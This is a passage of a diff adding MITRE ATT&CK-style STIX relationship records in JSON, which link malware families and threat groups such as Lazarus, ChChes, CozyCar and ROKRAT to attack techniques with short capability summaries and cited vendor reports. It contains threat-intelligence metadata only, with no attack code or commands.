+ ], + "external_references": [ + { + "source_name": "cobaltstrike manual", + "description": "Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017.", + "url": "https://cobaltstrike.com/downloads/csmanual38.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--2e0dd10b-676d-4964-acd0-8a404c92b044", + "description": "[Kasidet](https://attack.mitre.org/software/S0088) has the ability to change firewall settings to allow a plug-in to be downloaded.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--f81df2c8-1edd-4734-a1c9-cca6e4c56607", + "source_ref": "malware--26fed817-e7bf-41f9-829a-9075ffac45c2", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Yadav, A., et al. (2016, January 29). Malicious Office files dropping Kasidet and Dridex. Retrieved March 24, 2016.", + "source_name": "Zscaler Kasidet", + "url": "http://research.zscaler.com/2016/01/malicious-office-files-dropping-kasidet.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f", + "description": "A [Lazarus Group](https://attack.mitre.org/groups/G0032) malware sample encodes data with base64.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--81682d49-acb2-4439-a7da-1a28126cea94", + "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", + "modified": "2019-09-09T19:15:44.921Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "McAfee Lazarus Resurfaces Feb 2018", + "description": "Sherstobitoff, R. (2018, February 12). Lazarus Resurfaces, Targets Global Banks and Bitcoin Users. Retrieved February 19, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/lazarus-resurfaces-targets-global-banks-bitcoin-users/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--11e36d5b-6a92-4bf9-8eb7-85eb24f59e22", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--7b18b0b1-1116-4e42-90b5-ffa3059955a7", + "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", + "modified": "2019-09-09T19:15:45.671Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "US-CERT KEYMARBLE Aug 2018", + "description": "US-CERT. (2018, August 09). MAR-10135536-17 \u2013 North Korean Trojan: KEYMARBLE. Retrieved August 16, 2018.", + "url": "https://www.us-cert.gov/ncas/analysis-reports/AR18-221A" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[PHOREAL](https://attack.mitre.org/software/S0158) is capable of creating reverse shell.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--ecb5e830-b678-47a6-98a2-d4dbe162f09e", + "source_ref": "malware--f6ae7a52-f3b6-4525-9daf-640c083f006e", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.", + "source_name": "FireEye APT32 May 2017", + "url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--478aa214-2ca7-4ec0-9978-18798e514790", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.022Z", + "id": "relationship--bb1de6e6-23ce-42a8-bcd7-fd75aec24c50", + "source_ref": "course-of-action--b7b2c89c-09c1-4b71-ae7c-000ec2893aab", + "modified": "2019-07-25T11:19:10.350Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "malware--8ab98e25-1672-4b5f-a2fb-e60f08a5ea9e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--1e27ff4a-fa86-46b1-8aea-748ec398b47e", + "source_ref": "intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c", + "modified": "2019-09-09T19:12:32.909Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.", + "source_name": "FireEye APT37 Feb 2018", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--ffe742ed-9100-4686-9e00-c331da544787", + "description": "[BlackEnergy](https://attack.mitre.org/software/S0089) has run a plug-in on a victim to spread through the local network by using [PsExec](https://attack.mitre.org/software/S0029) and accessing admin shares.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--53d7b242-3ed6-4281-9829-e25d425e28fe", + "source_ref": "malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4", + "modified": "2019-06-24T17:08:51.634Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Baumgartner, K. and Garnaeva, M.. (2014, November 3). BE2 custom plugins, router abuse, and target profiles. Retrieved March 24, 2016.", + "source_name": "Securelist BlackEnergy Nov 2014", + "url": "https://securelist.com/be2-custom-plugins-router-abuse-and-target-profiles/67353/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--478aa214-2ca7-4ec0-9978-18798e514790", + "description": "One persistence mechanism used by [CozyCar](https://attack.mitre.org/software/S0046) is to register itself as a Windows service.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--cb0ebed2-4cac-437b-b5b2-37ee716af3f0", + "source_ref": "malware--e6ef745b-077f-42e1-a37d-29eecff9c754", + "modified": "2019-04-24T23:17:25.109Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "F-Secure Labs. (2015, April 22). CozyDuke: Malware Analysis. Retrieved December 10, 2015.", + "source_name": "F-Secure CozyDuke", + "url": "https://www.f-secure.com/documents/996508/1030745/CozyDuke" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9e09ddb2-1746-4448-9cad-7f8b41777d6d", + "description": "[Calisto](https://attack.mitre.org/software/S0274) collects Keychain storage data and copies those passwords/tokens to a file.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--d22b326c-ceaf-424b-b263-e0830bab9bf3", + "source_ref": "malware--b8fdef82-d2cf-4948-8949-6466357b1be1", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Kuzin, M., Zelensky S. (2018, July 20). Calisto Trojan for macOS. Retrieved September 7, 2018.", + "source_name": "Securelist Calisto July 2018", + "url": "https://securelist.com/calisto-trojan-for-macos/86543/" + }, + { + "description": "Pantig, J. (2018, July 30). OSX.Calisto. Retrieved September 7, 2018.", + "source_name": "Symantec Calisto July 2018", + "url": "https://www.symantec.com/security-center/writeup/2018-073014-2512-99?om_rssid=sr-latestthreats30days" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[ChChes](https://attack.mitre.org/software/S0144) is capable of downloading files, including additional modules.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--92c901ce-5edb-417f-8af5-d569203e241c", + "source_ref": "malware--dc5d1a33-62aa-4a0c-aa8c-589b87beb11e", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Miller-Osborn, J. and Grunzweig, J.. (2017, February 16). menuPass Returns with New Malware and New Attacks Against Japanese Academics and Organizations. Retrieved March 1, 2017.", + "source_name": "Palo Alto menuPass Feb 2017", + "url": "http://researchcenter.paloaltonetworks.com/2017/02/unit42-menupass-returns-new-malware-new-attacks-japanese-academics-organizations/" + }, + { + "description": "Nakamura, Y.. (2017, February 17). ChChes - Malware that Communicates with C&C Servers Using Cookie Headers. Retrieved March 1, 2017.", + "source_name": "JPCERT ChChes Feb 2017", + "url": "http://blog.jpcert.or.jp/2017/02/chches-malware--93d6.html" + }, + { + "description": "FireEye iSIGHT Intelligence. (2017, April 6). APT10 (MenuPass Group): New Tools, Global Campaign Latest Manifestation of Longstanding Threat. Retrieved June 29, 2017.", + "source_name": "FireEye APT10 April 2017", + "url": "https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f72eb8a8-cd4c-461d-a814-3f862befbf00", + "description": "[Naid](https://attack.mitre.org/software/S0205) connects to C2 infrastructure and establishes backdoors over a custom communications protocol.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--b7adff8b-a51a-46c7-ba8a-d1292002f2c8", + "source_ref": "malware--48523614-309e-43bf-a2b8-705c2b45d7b2", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Neville, A. (2012, June 15). Trojan.Naid. Retrieved February 22, 2018.", + "source_name": "Symantec Naid June 2012", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-061518-4639-99" + }, + { + "description": "Symantec Security Response. (2012, June 18). CVE-2012-1875 Exploited in the Wild - Part 1 (Trojan.Naid). Retrieved February 22, 2018.", + "source_name": "Symantec Naid in the Wild June 2012", + "url": "https://www.symantec.com/connect/blogs/cve-2012-1875-exploited-wild-part-1-trojannaid" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f72eb8a8-cd4c-461d-a814-3f862befbf00", + "description": "[Volgmer](https://attack.mitre.org/software/S0180) uses a custom binary protocol to beacon back to its C2 server. It has also used XOR for encrypting communications.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--3a6c13d3-6589-4d33-9848-88e3409be0cc", + "source_ref": "malware--495b6cdb-7b5a-4fbc-8d33-e7ef68806d08", + "modified": "2019-10-15T22:51:02.918Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "US-CERT. (2017, November 22). Alert (TA17-318B): HIDDEN COBRA \u2013 North Korean Trojan: Volgmer. Retrieved December 7, 2017.", + "source_name": "US-CERT Volgmer Nov 2017", + "url": "https://www.us-cert.gov/ncas/alerts/TA17-318B" + }, + { + "description": "US-CERT. (2017, November 01). Malware Analysis Report (MAR) - 10135536-D. Retrieved July 16, 2018.", + "source_name": "US-CERT Volgmer 2 Nov 2017", + "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-D_WHITE_S508C.PDF" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", + "description": "[ZeroT](https://attack.mitre.org/software/S0230) gathers the victim's IP address and domain information, and then sends it to its C2 server.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--5d818f5b-6145-4d8f-9be2-2d12fc1f71f1", + "source_ref": "malware--4ab44516-ad75-4e43-a280-705dc0420e2f", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Huss, D., et al. (2017, February 2). Oops, they did it again: APT Targets Russia and Belarus with ZeroT and PlugX. Retrieved April 5, 2018.", + "source_name": "Proofpoint ZeroT Feb 2017", + "url": "https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--d28ef391-8ed4-45dc-bc4a-2f43abf54416", + "description": "[spwebmember](https://attack.mitre.org/software/S0227) is used to enumerate and dump information from Microsoft SharePoint.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--6a0748a1-7629-4afb-b089-ae068608a964", + "source_ref": "tool--33b9e38f-103c-412d-bdcf-904a91fff1e4", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.", + "source_name": "NCC Group APT15 Alive and Strong", + "url": "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0a5231ec-41af-4a35-83d0-6bdf11f28c65", + "description": "[PUNCHBUGGY](https://attack.mitre.org/software/S0196) can load a DLL using the LoadLibrary API.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--163c1ca5-c5cb-4cc8-b9e4-d0a137d41e52", + "source_ref": "malware--5c6ed2dc-37f4-40ea-b2e1-4c76140a388c", + "modified": "2019-06-28T20:48:52.483Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy: New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.", + "source_name": "FireEye Know Your Enemy FIN8 Aug 2016", + "url": "https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735", + "description": "[yty](https://attack.mitre.org/software/S0248) uses the net view command for discovery.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--3c021bb7-e96b-4a87-931b-d74f19ec8bcb", + "source_ref": "malware--0817aaf2-afea-4c32-9285-4dcd1df5bf14", + "modified": "2019-04-25T00:09:23.104Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ASERT Donot March 2018", + "description": "Schwarz, D., Sopko J. (2018, March 08). Donot Team Leverages New Modular Malware Framework in South Asia. Retrieved June 11, 2018.", + "url": "https://www.arbornetworks.com/blog/asert/donot-team-leverages-new-modular-malware-framework-south-asia/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--128c55d3-aeba-469f-bd3e-c8996ab4112a", + "description": "After creating a new service for persistence, [TDTESS](https://attack.mitre.org/software/S0164) sets the file creation time for the service to the creation time of the victim's legitimate svchost.exe file.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--d2fa2382-dcfc-4cff-969b-2b5ec12dc406", + "source_ref": "malware--0b32ec39-ba61-4864-9ebe-b4b0b73caf9a", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. Retrieved August 21, 2017.", + "source_name": "ClearSky Wilted Tulip July 2017", + "url": "http://www.clearskysec.com/wp-content/uploads/2017/07/Operation_Wilted_Tulip.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4", + "description": "[StreamEx](https://attack.mitre.org/software/S0142) has the ability to modify the Registry.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--69bff194-c90e-4e30-a369-57da4cff014d", + "source_ref": "malware--91000a8a-58cc-4aba-9ad0-993ad6302b86", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Cylance SPEAR Team. (2017, February 9). Shell Crew Variants Continue to Fly Under Big AV\u2019s Radar. Retrieved February 15, 2017.", + "source_name": "Cylance Shell Crew Feb 2017", + "url": "https://www.cylance.com/shell-crew-variants-continue-to-fly-under-big-avs-radar" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", + "description": "[ROKRAT](https://attack.mitre.org/software/S0240) captures screenshots of the infected system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--c4f662d6-7e47-4161-bf8d-dd445ae901b1", + "source_ref": "malware--60a9c2f0-b7a5-4e8e-959c-e1a3ff314a5f", + "modified": "2019-07-26T22:56:58.202Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Talos ROKRAT", + "description": "Mercer, W., Rascagneres, P. (2017, April 03). Introducing ROKRAT. Retrieved May 21, 2018.", + "url": "https://blog.talosintelligence.com/2017/04/introducing-rokrat.html" + }, + { + "source_name": "Talos ROKRAT 2", + "description": "Mercer, W., Rascagneres, P. (2017, November 28). ROKRAT Reloaded. Retrieved May 21, 2018.", + "url": "https://blog.talosintelligence.com/2017/11/ROKRAT-Reloaded.html" + }, + { + "description": "GReAT. (2019, May 13). ScarCruft continues to evolve, introduces Bluetooth harvester. Retrieved June 4, 2019.", + "source_name": "Securelist ScarCruft May 2019", + "url": "https://securelist.com/scarcruft-continues-to-evolve-introduces-bluetooth-harvester/90729/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", + "description": "[Unknown Logger](https://attack.mitre.org/software/S0130) can obtain information about the victim usernames.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--1d3296a5-9a15-4bd9-a294-ee014348136c", + "source_ref": "malware--ab3580c8-8435-4117-aace-3d9fbe46aa56", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.", + "source_name": "Forcepoint Monsoon", + "url": "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--519630c5-f03f-4882-825c-3af924935817", + "description": "[yty](https://attack.mitre.org/software/S0248) contains junk code in its binary, likely to confuse malware analysts.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--37533c33-9cc4-4707-8b30-d8be6aeaefc6", + "source_ref": "malware--0817aaf2-afea-4c32-9285-4dcd1df5bf14", + "modified": "2019-04-25T00:09:23.118Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ASERT Donot March 2018", + "description": "Schwarz, D., Sopko J. (2018, March 08). Donot Team Leverages New Modular Malware Framework in South Asia. Retrieved June 11, 2018.", + "url": "https://www.arbornetworks.com/blog/asert/donot-team-leverages-new-modular-malware-framework-south-asia/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0", + "description": "[ChChes](https://attack.mitre.org/software/S0144) copies itself to an .exe file with a filename that is likely intended to imitate Norton Antivirus but has several letters reversed (e.g. notron.exe).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--e68684df-28b4-4f06-b553-cacf14866605", + "source_ref": "malware--dc5d1a33-62aa-4a0c-aa8c-589b87beb11e", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.", + "source_name": "PWC Cloud Hopper Technical Annex April 2017", + "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "[Honeybee](https://attack.mitre.org/groups/G0072) gathers computer name and information using the systeminfo command.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--5aaa885e-3e87-4904-8007-1001f4a5642f", + "source_ref": "intrusion-set--ebb73863-fa44-4617-b4cb-b9ed3414eb87", + "modified": "2019-03-25T12:58:44.153Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "McAfee Honeybee", + "description": "Sherstobitoff, R. (2018, March 02). McAfee Uncovers Operation Honeybee, a Malicious Document Campaign Targeting Humanitarian Aid Groups. Retrieved May 16, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/mcafee-uncovers-operation-honeybee-malicious-document-campaign-targeting-humanitarian-aid-groups/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6", + "description": "[Elderwood](https://attack.mitre.org/groups/G0066) has delivered zero-day exploits and malware to victims by injecting malicious code into specific public Web pages visited by targets within a particular sector.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--91b22928-d538-4460-a5ff-7a0a5e797430", + "source_ref": "intrusion-set--03506554-5f37-4f8f-9ce4-0e9f01a1b484", + "modified": "2019-03-22T20:15:19.414Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.", + "source_name": "Symantec Elderwood Sept 2012", + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf" + }, + { + "source_name": "CSM Elderwood Sept 2012", + "description": "Clayton, M.. (2012, September 14). Stealing US business secrets: Experts ID two huge cyber 'gangs' in China. Retrieved February 15, 2018.", + "url": "https://www.csmonitor.com/USA/2012/0914/Stealing-US-business-secrets-Experts-ID-two-huge-cyber-gangs-in-China" + }, + { + "source_name": "Security Affairs Elderwood Sept 2012", + "description": "Paganini, P. (2012, September 9). Elderwood project, who is behind Op. Aurora and ongoing attacks?. Retrieved February 13, 2018.", + "url": "http://securityaffairs.co/wordpress/8528/hacking/elderwood-project-who-is-behind-op-aurora-and-ongoing-attacks.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[cmd](https://attack.mitre.org/software/S0106) is used to execute programs and other actions at the command-line interface.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--fb60b027-facd-4be2-b8b2-0fb9351ea235", + "source_ref": "tool--bba595da-b73a-4354-aa6c-224d4de7cb4e", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Microsoft. (n.d.). Cmd. Retrieved April 18, 2016.", + "source_name": "TechNet Cmd", + "url": "https://technet.microsoft.com/en-us/library/bb490880.aspx" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "description": "[Patchwork](https://attack.mitre.org/groups/G0040) has obfuscated a script with Crypto Obfuscator.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--5c75f4e0-27ab-45d0-b8bc-3991137bdb87", + "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0", + "modified": "2019-07-11T13:53:05.780Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "TrendMicro Patchwork Dec 2017", + "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.", + "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4", + "description": "[BADCALL](https://attack.mitre.org/software/S0245) modifies the firewall Registry key SYSTEM\\CurrentControlSet\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\StandardProfileGloballyOpenPorts\\\\List.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--7e559e10-483a-42ca-8ddf-d8ca04ed8bd2", + "source_ref": "malware--9dbdadb6-fdbf-490f-a35f-38762d06a0d2", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "US-CERT. (2018, February 06). Malware Analysis Report (MAR) - 10135536-G. Retrieved June 7, 2018.", + "source_name": "US-CERT BADCALL", + "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-G.PDF" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--241814ae-de3f-4656-b49e-f9a80764d4b7", + "description": "The main [CozyCar](https://attack.mitre.org/software/S0046) dropper checks whether the victim has an anti-virus product installed. If the installed product is on a predetermined list, the dropper will exit.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--330c8e43-575f-4c9a-b6c2-def7306841ad", + "source_ref": "malware--e6ef745b-077f-42e1-a37d-29eecff9c754", + "modified": "2019-04-24T23:17:25.121Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "F-Secure Labs. (2015, April 22). CozyDuke: Malware Analysis. Retrieved December 10, 2015.", + "source_name": "F-Secure CozyDuke", + "url": "https://www.f-secure.com/documents/996508/1030745/CozyDuke" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[H1N1](https://attack.mitre.org/software/S0132) kills and disables services by using cmd.exe.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--4a419b18-5fb2-43a0-8c0a-6521b8d9de63", + "source_ref": "malware--f8dfbc54-b070-4224-b560-79aaa5f835bd", + "modified": "2019-04-29T18:23:15.958Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Reynolds, J.. (2016, September 14). H1N1: Technical analysis reveals new capabilities \u2013 part 2. Retrieved September 26, 2016.", + "source_name": "Cisco H1N1 Part 2", 